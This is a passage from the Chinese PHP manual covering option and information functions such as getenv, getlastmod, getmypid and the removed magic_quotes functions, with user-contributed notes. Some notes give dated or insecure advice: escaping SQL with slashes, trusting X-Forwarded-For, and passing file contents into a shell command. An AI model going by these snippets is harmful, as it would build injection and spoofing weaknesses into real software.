If you also want to ensure current script is being included and not run independently you should evaluate following expression:

__FILE__ != $_SERVER['SCRIPT_FILENAME']

If this expression returns TRUE, current script is being included or required.


返回所有编译并加载模块名的 array

  • ? get_included_files
  • get_magic_quotes_gpc ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 返回所有编译并加载模块名的 array

get_loaded_extensions

(PHP 4, PHP 5, PHP 7, PHP 8)

get_loaded_extensions — 返回所有编译并加载模块名的 array

说明

get_loaded_extensions(bool $zend_extensions = false): array

该函数返回了 PHP 解析器里所有编译并加载的模块名。

参数

zend_extensions

只返回 Zend 扩展，并非类似 mysqli 的普通扩展。默认是 false (返回普通扩展)。

返回值

返回所有模块名的一个索引数组(array)。

示例

Example #1 get_loaded_extensions() 示例

<?php
print_r(get_loaded_extensions());
?>

以上示例的输出类似于：

Array
(
    [0] => Core
    [1] => date
    [2] => libxml
    [3] => pcre
    [4] => sqlite3
    [5] => zlib
    [6] => ctype
    [7] => dom
    [8] => fileinfo
    [9] => filter
    [10] => hash
    [11] => json
    [12] => mbstring
    [13] => SPL
    [14] => PDO
    [15] => session
    [16] => posix
    [17] => Reflection
    [18] => standard
    [19] => SimpleXML
    [20] => pdo_sqlite
    [21] => Phar
    [22] => tokenizer
    [23] => xml
    [24] => xmlreader
    [25] => xmlwriter
    [26] => gmp
    [27] => iconv
    [28] => intl
    [29] => bcmath
    [30] => sodium
    [31] => Zend OPcache
)

参见

  • get_extension_funcs() - 返回模块函数名称的数组
  • extension_loaded() - 检查一个扩展是否已经加载
  • dl() - 运行时载入一个 PHP 扩展
  • phpinfo() - 输出关于 PHP 配置的信息

User Contributed Notes

There are no user contributed notes for this page.


获取当前 magic_quotes_gpc 的配置选项设置

  • ? get_loaded_extensions
  • get_magic_quotes_runtime ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前 magic_quotes_gpc 的配置选项设置

get_magic_quotes_gpc

(PHP 4, PHP 5, PHP 7)

get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

get_magic_quotes_gpc(): false

始终返回 false。

参数

此函数没有参数。

返回值

始终返回 false。

更新日志

版本 | 说明
7.4.0 | 该函数已被废弃。

参见

  • addslashes() - 使用反斜线引用字符串
  • stripslashes() - 反引用一个引用字符串
  • get_magic_quotes_runtime() - 获取当前 magic_quotes_runtime 配置选项的激活状态
  • ini_get() - 获取一个配置选项的值

User Contributed Notes

w3dk 06-May-2015 12:01
> "If the directive magic_quotes_sybase is ON it will completely override magic_quotes_gpc."

This "note" is a bit misleading. magic_quotes_sybase will only override the escaping method used on Get/Post/Cookie data if magic_quotes_gpc is already enabled. If magic_quotes_gpc is not enabled then magic_quotes_sybase will have no effect here.

A few of the other comments are therefore incorrect in determining when to "stripslashes" from the input, by "stripping slashes" when either magic_quotes_gpc OR magic_quotes_sybase is enabled. You should only stripslashes() when magic_quotes_gpc is enabled since that is the only time when slashes are automatically added.

stripslashes() is also magic_quotes_sybase aware, so you don't need to do anything special (ie. write a custom function to handle this situation as another comment suggests) when magic_quotes_sybase is enabled. When magic_quotes_sybase is enabled, stripslashes() does not actually strip any slashes, but instead unescapes single-quotes that are escaped with single-quotes only.

magic_quotes_sybase does however influence the escaping (and unescaping) method used by addslashes() and stripslashes() respectively, regardless of whether magic_quotes_gpc (or magic_quotes_runtime) is enabled.
rogier at dsone 28-Aug-2012 10:12
Regarding the three main strip methods as found below (two using foreach, 1 using the json method), I've done a little benchmarking using 'true' profiling (using a registered tickhandler where declare(ticks=1)).
I wondered whether or not json would not be terribly slow.
I won't discuss the profiler, but will suffice with the following statement, followed by the used code to benchmark:

The json method was by FAR the quickest (contrary to what I'd thought), so if you need a speedy process, use that!

<?php
declare(ticks=1);
function g()
{
    return array(
        'a'=>'i\\\\\\'m',
        array('a1' => 'x', 'b1' => 'x'),
        array( 'a2' => array('a3' => '\\\\\\'x', 'b3' => 'random' )
        )
    );
}

function strip_json($d)
{
    $rs = json_decode(stripslashes(json_encode($d, JSON_HEX_APOS)), true);
    return $rs;
}

function strip_deep1($d)
{
    foreach ($d as $k=>$v)
    {
        if (is_array($v)) { $d[$k] = strip_deep1($v); }
        else { $d[$k] = stripslashes($v); }
    }
    return $d;
}

function strip_deep2(&$d)
{
    $d = is_array($d) ? array_map('strip_deep2', $d) : stripslashes($d);
    return $d;
}

// now profile it
require_once './TickProfiler.php';
$N = 1000;
$d = g();
TickProfiler::Register();
for ($i = 0; $i < $N; $i++){ strip_json($d); }
for ($i = 0; $i < $N; $i++){ strip_deep1($d); }
for ($i = 0; $i < $N; $i++){ strip_deep2($d); }
TickProfiler::Unregister();
TickProfiler::Display();

?>

My output (PHP 5.3.1, win32):
    [TickProfiler::tick] => Array
        (
            [time] => 0.76188707351685
            [calls] => 46001
        )

    [TickProfiler::Register] => Array
        (
            [time] => 3.0994415283203E-5
            [calls] => 1
        )

    [strip_json] => Array
        (
            [time] => 0.025638580322266
            [calls] => 1000
        )

    [strip_deep1] => Array
        (
            [time] => 0.40303444862366
            [calls] => 36000
        )

    [strip_deep2] => Array
        (
            [time] => 0.14928555488586
            [calls] => 9000
        )

)

As can be seen above, using json speeds output by at least a factor of 5 (nearly 6).
Just wanted to share this :D

Do note the strip_json function has two LOC instead of a plain return statement, otherwise it wouldn't get picked up by the tickprofiler (it would return from the code immediately, never reaching the profiler)!

Usage of the return statement in strip_deep2 is not needed, as the argument is passed by reference.
A new test showed that the time penalty for this is about 0.09 seconds.

This actually means that the factor between strip_deep2 vs strip_json is only about 2.
Still, strip_json would be about twice as fast as strip_deep2
hetored at gmail dot com 07-May-2010 02:17
Here's what I came up with to remove magic quotes from request data.

Replaces two single-quotes with one if magic_quotes_sybase are on, otherwise it just strips slashes.

Note that the `foreach` style makes this work only with PHP 5 and above.

<?php

// Strip magic quotes from request data.
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
    // Create lamba style unescaping function (for portability)
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    $unescape_function = (empty($quotes_sybase) || $quotes_sybase === 'off') ? 'stripslashes($value)' : 'str_replace("\'\'","\'",$value)';
    $stripslashes_deep = create_function('&$value, $fn', '
        if (is_string($value)) {
            $value = ' . $unescape_function . ';
        } else if (is_array($value)) {
            foreach ($value as &$v) $fn($v, $fn);
        }
    ');

    // Unescape data
    $stripslashes_deep($_POST, $stripslashes_deep);
    $stripslashes_deep($_GET, $stripslashes_deep);
    $stripslashes_deep($_COOKIE, $stripslashes_deep);
    $stripslashes_deep($_REQUEST, $stripslashes_deep);
}

?>
louis at greynoise dot co dot uk 30-May-2008 08:34
<?php
function stripper($stringvar){
    if (1 == get_magic_quotes_gpc()){
        $stringvar = stripslashes($stringvar);
    }
    return $stringvar;
}
?>

Usage:

<?php
$Body = stripper($rs->fields('Body'));
echo($Body);
?>

This checks if get_magic_quotes_gpc() is on and strips a string variable for output if its on. Useful if the dev server and live server are set up different.
heiko dot richler at informatik dot fh-nuernberg dot de 15-Apr-2008 12:02
@ dot dot dot dot dot alexander at gmail dot com

I suggest replacing foreach by "stripslashes_deep":

Example #2 Using stripslashes() on an array on
<http://www.php.net/manual/en/function.stripslashes.php>:

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}
?>

This gives:

<?php
if((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc())    || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) ){
    stripslashes_deep($_GET);
    stripslashes_deep($_POST);
    stripslashes_deep($_COOKIE);
}
?>
dot dot dot dot dot alexander at gmail dot com 09-Mar-2008 07:06
Just a little correction:
( Because of the ini_get function that may return a string value of "off" that evaluates to TRUE )
<?php
        if(
            (  function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()  )
             || (  ini_get('magic_quotes_sybase') && ( strtolower(ini_get('magic_quotes_sybase')) != "off" )  )
           ){
            foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
            foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
            foreach($_COOKIE as $k => $v) $_COOKIE[$k] = stripslashes($v);
        }
?>
slonmron_no_spam_please_ at yahoo dot com 06-Dec-2006 06:32
Re: php at kaiundina dot de (03-Feb-2005 02:18)

1. magic_quotes_gpc=on/off and magic_quotes_sybase=on/off

I made test and your function worked right.
These were the <input ... /> names I used:
name="a"
name="b.b b\b"
name="c[c.1]"
name="c[c 2]"
name="c[c\3]"
name="c.c c[c.' 4]"
name="c ' c[c&quot;4]"
name="d&quot;[d&quot;1]"

(I used &quot; because I don't know other way to put " into the name)

and the user-input value:
a ' " \ \' \" \\ a

2. > 17) The chars '.', ' ' are always replaced by '_' when used in keys.

This is true only for the top-level keys, such as "b.b b\b", "c.c c" and "c ' c" above. The second-level key "[c.' 4]" was not changed to [c_'_4] but was escaped acording to how magic_quites_XXX are set.

Tested on PHP 4.4.0.

These magic_quotes are really black magic :(

It'll be good to make test against $_SESSION, but I can't do it today.
venimus at gmail dot com 11-Jul-2006 06:14
When you work with forms and databases you should use this concept:

1.When inserting the user input in DB escape $_POST/$_GET with add_slashes() or similar (to match the speciffic database escape rules)

$query='INSERT INTO users SET fullname="'.add_slashes($_POST['fullname']).'"';
insert_into_db($query);

2.When reading a previously submitted input from DB use html_special_chars to display an escaped result!

read_db_row('SELECT fullname FROM users');
echo '<input type="text" name="fullname" value="'.html_special_chars($db_row['fullname']).'" />

this way you safely store and work with the original(unescaped) data.
php at kaiundina dot de 02-Feb-2005 04:18
Escaping of key-strings in GPC-arrays behave different to the escaping of their values.

First I expected that keys in submitted gpc-arrays are never escaped.
Anyway. After I saw escaped keys, I assumed they're escaped according to the settings of magic quotes.
... it's even worse...

It took me over 2 days of testing to figure out the exact behavior and creating two functions (one for each php-version) that strips slashes reliably from any array submitted to a script. Hope this saves someones time and nerves.

The following is true for $_GET- and $_POST-arrays. I hope other arrays affected by magic quotes behave equally.
I did not test the behavior for cases where magic_quotes_sybase is set.

== legend for possible case combinations ==
Px = php version we're using
    P4 = php 4.3.9
    P5 = php 5.0.2

MQ = MagicQuotes GPC
    +MQ = magic quotes enabled
    -MQ = magic quotes disabled

TL = TopLevel key
    +TL = key is on top level (i.e. $_GET['myKey'])
    -TL = key is nested within another array (i.e. $_GET['myList']['myKey'])

AK = ArrayKey
    +AK = the value of the key is another array (i.e. is_array($_GET['myKey']) == true)
    -AK = the value is a normal string (i.e. is_string($_GET['myKey']) == true)

== legend for possible results ==
KE = KeyEscaping
    +KE = control chars are prefixed with a backslash
    -KE = key is returned as submitted and needn't to be stripped

VE = ValueEscaping (doesn't apply for array as value)
    +VE = control chars are prefixed with a backslash
    -VE = value is returned as submitted and needn't to be stripped

== here we go - the following rules apply ==
 1) P4 +MQ +AK +TL --> -KE
 2) P4 +MQ +AK -TL --> +KE
 3) P4 +MQ -AK +TL --> -KE +VE
 4) P4 +MQ -AK -TL --> +KE +VE
 5) P4 -MQ +AK +TL --> -KE
 6) P4 -MQ +AK -TL --> -KE
 7) P4 -MQ -AK +TL --> -KE -VE
 8) P4 -MQ -AK -TL --> -KE -VE
 9) P5 +MQ +AK +TL --> -KE
10) P5 +MQ +AK -TL --> +KE
11) P5 +MQ -AK +TL --> +KE +VE
12) P5 +MQ -AK -TL --> +KE +VE
13) P5 -MQ +AK +TL --> -KE
14) P5 -MQ +AK -TL --> -KE
15) P5 -MQ -AK +TL --> +KE -VE
16) P5 -MQ -AK -TL --> +KE -VE
17) The chars '.', ' ' are always replaced by '_' when used in keys.

Example (rule 15):
When running under php 5.0.2 having magic quotes disabled, gpc-keys on top level containing strings are escaped while their associated values are not.

== The following function will strip GPC-arrays for php 4.3.9 ==

<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
        if (is_array($value)) {
            $decodedValue = transcribe($value, false);
        } else {
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

== The following function will strip GPC-arrays for php 5.0.2 ==
<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        if (is_array($value)) {
            $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
            $decodedValue = transcribe($value, false);
        } else {
            $decodedKey = stripslashes($key);
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

Usage:

<?php
$unstrippedGET = transcribe($_GET);
$unstrippedPOST = transcribe($_POST);
?>

Maybe someone is willing to test those combinations for other php-versions and with magic_quotes_sybase set to 'on' - let me know.
Sorry for this huge amount of text, but it's complete. I was unable to compress the decision table more than this.
eltehaem at poczta dot onet dot pl 26-Nov-2004 02:58
Please note, that when magic_quotes_gpc is set not only $_POST, $_GET, $_REQUEST, $_COOKIE arrays values are slashed. Actually every string value in $GLOBALS array is slashed, ie. $GLOBALS['_SERVER']['PATH_INFO'] (or $_SERVER['PATH_INFO']).


获取当前 magic_quotes_runtime 配置选项的激活状态

  • ? get_magic_quotes_gpc
  • get_required_files ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前 magic_quotes_runtime 配置选项的激活状态

get_magic_quotes_runtime

(PHP 4, PHP 5, PHP 7)

get_magic_quotes_runtime — 获取当前 magic_quotes_runtime 配置选项的激活状态

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

get_magic_quotes_runtime(): false

始终返回 false。

参数

此函数没有参数。

返回值

始终返回 false。

更新日志

版本 | 说明
7.4.0 | 弃用此函数。

参见

  • get_magic_quotes_gpc() - 获取当前 magic_quotes_gpc 的配置选项设置

User Contributed Notes

dipshrestha AT mail 20-Aug-2009 06:28
To add to what "php at nospam-qualystem dot com" has mentioned.

Some Japanese Encoding System (shift-jis) encode characters like 予 with ASCII pairs "975C". (5C is ASCII for backslash)

Thus when reading those characters from files (saved as shift-jis) in system with magic_quotes_runtime enabled, the characeter is turned into 予\  (equivalent ASCII "975C5C")

Similarly,
予定　is turned into 予\定
php at nospam-qualystem dot com 09-Jan-2003 05:48
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.


别名 get_included_files

  • ? get_magic_quotes_runtime
  • get_resources ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 别名 get_included_files

get_required_files

(PHP 4, PHP 5, PHP 7, PHP 8)

get_required_files — 别名 get_included_files()

说明

此函数是该函数的别名： get_included_files().

User Contributed Notes

There are no user contributed notes for this page.


Returns active resources

  • ? get_required_files
  • getenv ?
  • PHP Manual
  • PHP 选项/信息 函数
  • Returns active resources

get_resources

(PHP 7, PHP 8)

get_resources — Returns active resources

说明

get_resources(?string $type = null): array

Returns an array of all currently active resources, optionally filtered by resource type.

Note: This function is meant for debugging and testing purposes. It is not supposed to be used in production environments, especially not to access or even manipulate resources which are normally not accessible (e.g. the underlying stream resource of SplFileObject instances).

参数

type

If defined, this will cause get_resources() to only return resources of the given type. A list of resource types is available.

If the string Unknown is provided as the type, then only resources that are of an unknown type will be returned.

If omitted, all resources will be returned.

返回值

Returns an array of currently active resources, indexed by resource number.

更新日志

版本 | 说明
8.0.0 | type is nullable now.

示例

Example #1 Unfiltered get_resources()

<?php
$fp = tmpfile();
var_dump(get_resources());
?>

以上示例的输出类似于：

array(1) {
  [1]=>
  resource(1) of type (stream)
}

Example #2 Filtered get_resources()

<?php
$fp = tmpfile();
var_dump(get_resources('stream'));
var_dump(get_resources('curl'));
?>

以上示例的输出类似于：

array(1) {
  [1]=>
  resource(1) of type (stream)
}
array(0) {
}

参见

  • get_loaded_extensions() - 返回所有编译并加载模块名的 array
  • get_defined_constants() - 返回所有常量的关联数组，键是常量名，值是常量值
  • get_defined_functions() - 返回所有已定义函数的数组
  • get_defined_vars() - 返回由所有已定义变量所组成的数组

User Contributed Notes

There are no user contributed notes for this page.


获取单个或者全部环境变量

  • ? get_resources
  • getlastmod ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取单个或者全部环境变量

getenv

(PHP 4, PHP 5, PHP 7, PHP 8)

getenv — 获取单个或者全部环境变量

说明

getenv(?string $name = null, bool $local_only = false): string|array|false

获取单个或者全部环境变量。

使用 phpinfo() 你可以看到所有环境变量的列表。 这些变量很多都在 » RFC 3875 的范围之内， 尤其是章节4.1，"Request Meta-Variables"。

参数

name

string 形式的变量名或为 null。

local_only

当设置为 true 时，仅返回由操作系统或 putenv() 设置的本地环境变量。这只在 name 是 string 时才生效。

返回值

返回环境变量 name 的值，如果环境变量 name 不存在则返回 false。如果 name 是 null，则所有环境变量都将作为关联 array 返回。

更新日志

版本 | 说明
8.0.0 | name 现在可为 null。
7.1.0 | 现在可以省略 name 来检索所有环境变量的关联数组 array。
7.0.9 | 添加 local_only 参数。

示例

Example #1 getenv() 示例

<?php
// getenv() 使用示例
$ip = getenv('REMOTE_ADDR');

// 或简单仅使用全局变量（$_SERVER 或 $_ENV）
$ip = $_SERVER['REMOTE_ADDR'];

// 安全地获取环境变量，忽略通过 SAPI 或 putenv 修改的值
$ip = getenv('REMOTE_ADDR', true) ?: getenv('REMOTE_ADDR')
?>

注释

Warning

如果 PHP 在诸如 Fast CGI 之类的 SAPI 中运行，则此函数将始终返回由 SAPI 设置的环境变量的值，即使已使用 putenv() 来设置同名的本地环境变量。使用 local_only 参数返回本地设置的环境变量的值。

参见

  • putenv() - 设置环境变量的值
  • apache_getenv() - 获取 Apache subprocess_env 变量
  • 超全局变量

User Contributed Notes

jcastromail at yahoo dot es 30-Sep-2020 08:45
I did a benchmark about env.

constants :
0.00067687034606934 ms
getenv :
0.056761026382446 ms

(less is better)

https://github.com/eftec/php-benchmarks#define--const--env

And, in Windows at leat, reading the env value is considerably slow (in comparison with a constant), so PHP doesn't cache the information and asks to the OS the env value per call.

So, if you are calling once per request, then there is not a problem. However, if you are calling it many times per request, then it could affects the performance.
Anonymous 09-May-2019 02:07
It is worth noting that since getenv('MY_VARIABLE') will return false when the variable given is not set, there is no direct way to distinguish between a variable that is unset and one that is explicitly set to the value bool(false) when using getenv().
This makes it somewhat tricky to have boolean environment variables default to true if unset, which you can work around either by using "falsy" values such as 0 with the strict comparison operators or by using the superglobal arrays and isset().
larby dot robert at gmail dot com 01-Aug-2018 09:23
From PHP 7.1 => getenv() no longer requires its parameter. If the parameter is omitted, then the current environment variables will be returned as an associative array.

Source: http://php.net/manual/en/migration71.changed-functions.php
Anonymous 07-Apr-2018 04:56
Contrary to what eng.mrkto.com said, getenv() isn't always case-insensitive. On Linux it is not:

<?php
var_dump(getenv('path')); // bool(false)
var_dump(getenv('Path')); // bool(false)
var_dump(getenv('PATH')); // string(13) "/usr/bin:/bin"
jaraco at jaraco dot com 06-Jul-2017 01:49
The example on how to fallback produces a syntax error on PHP 5.2:

-bash-3.2$ cat test.php
<?php

$ip = getenv('REMOTE_ADDR', true) ?: getenv('REMOTE_ADDR')

?>

-bash-3.2$ /web/cgi-bin/php5 test.php
Content-type: text/html

<br />
<b>Parse error</b>:  syntax error, unexpected ':' in <b>/home/content/25/11223125/test.php</b> on line <b>3</b><br />

On PHP 5.2, one must write

$ip = getenv('REMOTE_ADDR', true) ? getenv('REMOTE_ADDR', true) : getenv('REMOTE_ADDR')
yw()beeznest!com 02-Aug-2016 12:10
As noted on httpoxy.org, getenv() can confuse you in having you believe that all variables come from a "safe" environment (not all of them do).

In particular, $_SERVER['HTTP_PROXY'] (or its equivalent getenv('HTTP_PROXY')) can be manually set in the HTTP request header, so it should not be considered safe in a CGI environment.

In short, try to avoid using getenv('HTTP_PROXY') without properly filtering it.
pritisn at gmail dot com 19-May-2015 11:55
for quick check of getenv() adding a new env variable -
if you add a new env variable, make sure not only apache but xampp is also restarted.
Otherwise getenv() will return false for the newly added env variable.
hello at jabran dot me 03-Apr-2015 06:47
Beware that when using this function with PHP built-in server - i.e. php -S localhost:8000 - it will return boolean FALSE.
php at keith tyler dot com 08-Feb-2012 12:51
All of the notes and examples so far have been strictly CGI.
It should not be understated the usefulness of getenv()/putenv() in CLI as well.

You can pass a number of variables to a CLI script via environment variables, either in Unix/Linux bash/sh with the "VAR='foo'; export $VAR" paradigm, or in Windows with the "set VAR='foo'" paradigm. (Csh users, you're on your own!) getenv("VAR") will retrieve that value from the environment.

We have a system by which we include a file full of putenv() statements storing configuration values that can apply to many different CLI PHP programs. But if we want to override these values, we can use the shell's (or calling application, such as ant) environment variable setting method to do so.

This saves us from having to manage an unmanageable amount of one-off configuration changes per execution via command line arguments; instead we just set the appropriate env var first.
eng.mrkto.com 29-Jul-2010 11:36
This function is useful (compared to $_SERVER, $_ENV) because it searches $varname key in those array case-insensitive manner.
For example on Windows $_SERVER['Path'] is like you see Capitalized, not 'PATH' as you expected.
So just: <?php getenv('path') ?>
chuck dot reeves at gmail dot com 06-May-2010 11:59
When writing CLI applications, not that any environment variables that are set in your web server config will not be passed through.  PHP will pass through system environment variables that are prefixed based off the safe_mode_allowed_env_vars directive in your php.ini
f dot hartmann2 at gmx dot net 23-Jul-2009 05:42
A function returning the remote adress of the visiting browser could look like this:

<?php
function getIPfromXForwarded() {
    $ipString=@getenv("HTTP_X_FORWARDED_FOR");
    $addr = explode(",",$ipString);
    return $addr[sizeof($addr)-1];
}
?>

Note that some adresses are followed by a whitespace and ip2long(getIPfromXForwarded()) would not return the expected result.

Make use of trim() in your scripts, either in the function itself, or the surrounding space of the caller.

Greetings
sam at sambarrow dot com 12-Mar-2008 05:32
SERVER_NAME is the name defined in the apache configuration.
HTTP_HOST is the host header sent by the client when using the more recent versions of the http protocol.
kyong 04-Feb-2004 01:06
As you know, getenv('DOCUMENT_ROOT') is useful.
However, under CLI environment(I tend to do quick check
if it works or not), it doesn't work without modified php.ini
file. So I add "export DOCUMENT_ROOT=~" in my .bash_profile.


获取页面最后修改的时间

  • ? getenv
  • getmygid ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取页面最后修改的时间

getlastmod

(PHP 4, PHP 5, PHP 7, PHP 8)

getlastmod — 获取页面最后修改的时间

说明

getlastmod(): int|false

获取执行的主脚本的最后修改时间。

如果你对其他文件的最后修改时间的感兴趣，可考虑使用 filemtime()。

参数

此函数没有参数。

返回值

返回当前页面最后修改的时间。这个值是一个 Unix 时间戳，可以传入 date()。 错误时返回 false。

示例

Example #1 getlastmod() 示例

<?php
// 输出类似 'Last modified: March 04 1998 20:43:59.'
echo "Last modified: " . date ("F d Y H:i:s.", getlastmod());
?>

参见

  • date() - 格式化 Unix 时间戳
  • getmyuid() - 获取 PHP 脚本所有者的 UID
  • getmygid() - 获取当前 PHP 脚本拥有者的 GID
  • get_current_user() - 获取当前 PHP 脚本所有者名称
  • getmyinode() - 获取当前脚本的索引节点（inode）
  • getmypid() - 获取 PHP 进程的 ID
  • filemtime() - 取得文件修改时间

User Contributed Notes

Moro 29-Jun-2012 03:03
Return latest mod time of all included files:

<?php
function get_page_mod_time() {
    $incls = get_included_files();
    $incls = array_filter($incls, "is_file");
    $mod_times = array_map('filemtime', $incls);
    $mod_time = max($mod_times);

    return $mod_time;
}
?>
luca dot delpivo at gmail dot com 11-Mar-2012 07:52
With better words getlastmod() returning the last time the script in which it is being called was modified, it does not require or use a parameter.
erik dot stetina at gmail dot com 27-Sep-2011 03:47
function for displaying last modification time accross more direcotries. e.g. to display last modification date in "about" section of your web page

<?php
function array_prefix_values($prefix, $array)
{
  $callback = create_function('$s','return "'.$prefix.'".$s;');
  return array_map($callback,$array);
}

function get_last_update()
{
  if ( func_num_args() < 1 ) return 0;
  $dirs = func_get_args();
  $files = array();
  foreach ( $dirs as $dir )
  {
    $subfiles = scandir($dir);
    $subfiles = array_prefix_values($dir,$subfiles);
    $subfiles = array_filter($subfiles,"is_file");
    $files = array_merge($files,$subfiles);
  }
  $maxtimestamp = 0;
  $maxfilename = "";
  foreach ( $files as $file )
  {
    $timestamp = filemtime($file);
    if ( $timestamp > $maxtimestamp )
    {
      $maxtimestamp = $timestamp;
      $maxfilename = $file;
    }
  }
  return date("Ymd",$maxtimestamp)." ($maxfilename)";
}

print "last update: ".get_last_update("./lib/", "./css/", "./lang/");
?>

OUTPUT:
last update: 20110927 (./lang/sk.php)
Ant P. 24-Feb-2010 10:48
If you use register_shutdown_function() on certain SAPIs, various filesystem-related things inside the shutdown function might do unexpected things, one of which being this function can return false.

On the other hand getlastmod() apparently caches the return value, so if you use it at least once in normal code it should work for the remainder of the request.
rwruck 17-Oct-2004 06:28
DO NOT use this function unless you are absolutely sure both your Apache and PHP have been compiled with the same value for -DFILE_OFFSET_BITS.

If not, this function will return the access time (or maybe even garbage) instead of the modification time due do Apache and PHP using different versions of the stat structure.

This is true regardless of Apache and PHP version.

To be on the safe side, always use the workaround already posted below:
filemtime($_SERVER['SCRIPT_FILENAME'])
19-May-2004 04:36
Setting the 'Last-Modified' header:
<?php
setlocale(LC_TIME, "C");
$ft = filemtime ('referencefile');
$localt = mktime ();
$gmtt = gmmktime ();
$ft = $ft - $gmtt + $localt;
$modified = strftime ("%a, %d %b %Y %T GMT", $ft);
?>
timeflys at users dot sourceforget dot net 20-Mar-2003 01:28
I found issues using getlastmod() to test whether or not I was successful in setting the Last Modified date in the header. The code below shows the same Last Modified date before and after I set the Last-Modified header.

<?php
//True modified date
$modified = date ("F d Y H:i:s.", getlastmod());

//artificial modified date - sent to header
$last_modified = gmdate('D, d M Y H:i:s T', (time() - 43200));

//caching prevention
header("Last-Modified: $last_modified GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");  // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");                          // HTTP/1.0

$getlast_modified = date ("F d Y H:i:s.", getlastmod());

print "True modified date(Before): $modified <p /> Date sent to header(After): $getlast_modified";
?>

I then used the PEAR, HTTP_Request class which worked, the Last-Modified date updates everytime it is requested, the desired effect.

<?php
require 'HTTP/Request.php';
$r = new HTTP_Request('http://www.sample.com/page.php');
$r->sendRequest();
$response_headers = $r->getResponseHeader();
print $response_headers["last-modified"];
?>


获取当前 PHP 脚本拥有者的 GID

  • ? getlastmod
  • getmyinode ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前 PHP 脚本拥有者的 GID

getmygid

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

getmygid — 获取当前 PHP 脚本拥有者的 GID

说明

getmygid(): int|false

获取当前 PHP 脚本拥有者的用户组 ID。

参数

此函数没有参数。

返回值

返回当前 PHP 脚本拥有者的用户组 ID，或在错误时返回 false。

参见

  • getmyuid() - 获取 PHP 脚本所有者的 UID
  • getmypid() - 获取 PHP 进程的 ID
  • get_current_user() - 获取当前 PHP 脚本所有者名称
  • getmyinode() - 获取当前脚本的索引节点（inode）
  • getlastmod() - 获取页面最后修改的时间

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 02:32
On Windows this will always return 0, except when "php -r" is used, when it returns 1.


获取当前脚本的索引节点（inode）

  • ? getmygid
  • getmypid ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取当前脚本的索引节点（inode）

getmyinode

(PHP 4, PHP 5, PHP 7, PHP 8)

getmyinode — 获取当前脚本的索引节点（inode）

说明

getmyinode(): int|false

获取当前脚本的索引节点（inode）。

参数

此函数没有参数。

返回值

以整型返回当前脚本的索引节点（inode），或在错误时返回 false。

参见

  • getmygid() - 获取当前 PHP 脚本拥有者的 GID
  • getmyuid() - 获取 PHP 脚本所有者的 UID
  • getmypid() - 获取 PHP 进程的 ID
  • get_current_user() - 获取当前 PHP 脚本所有者名称
  • getlastmod() - 获取页面最后修改的时间

User Contributed Notes

There are no user contributed notes for this page.


获取 PHP 进程的 ID

  • ? getmyinode
  • getmyuid ?
  • PHP Manual
  • PHP 选项/信息 函数
  • 获取 PHP 进程的 ID

getmypid

(PHP 4, PHP 5, PHP 7, PHP 8)

getmypid — 获取 PHP 进程的 ID

说明

getmypid(): int|false

获取当前 PHP 进程 ID。

参数

此函数没有参数。

返回值

返回当前 PHP 进程 ID，或在错误时返回 false。

注释

Warning

进程 ID 并不是唯一的，所以他们是一个弱熵源。 对安全性有依赖的上下文中我们不推荐依赖于 pid。

参见

  • getmygid() - 获取当前 PHP 脚本拥有者的 GID
  • getmyuid() - 获取 PHP 脚本所有者的 UID
  • get_current_user() - 获取当前 PHP 脚本所有者名称
  • getmyinode() - 获取当前脚本的索引节点（inode）
  • getlastmod() - 获取页面最后修改的时间

User Contributed Notes

martijn at nowhere dot com 18-Feb-2016 03:42
On windows, you can get a list of PID's using this single line statement: <?php $pids = array_column(array_map('str_getcsv', explode("\n",trim(`tasklist /FO csv /NH`))), 1); ?>.
brospam at gmail dot com 23-Aug-2013 10:19
My lockfile system

<?php
function isLocked(){
    if(file_exists(LOCK_FILE)) {
        $lockingPID = trim(file_get_contents(LOCK_FILE));
        $test=trim(`ps -p $lockingPID -o pid=`);
        if(!empty($test)) return true;
        echo "Removing stale lock file.\n";
        unlink(LOCK_FILE);
    }
    file_put_contents(LOCK_FILE, getmypid()."\n");
    return false;
}
?>
Radu Cristescu 22-Jul-2013 06:44
The lock-file mechanism in Kevin Trass's note is incorrect because it is subject to race conditions.

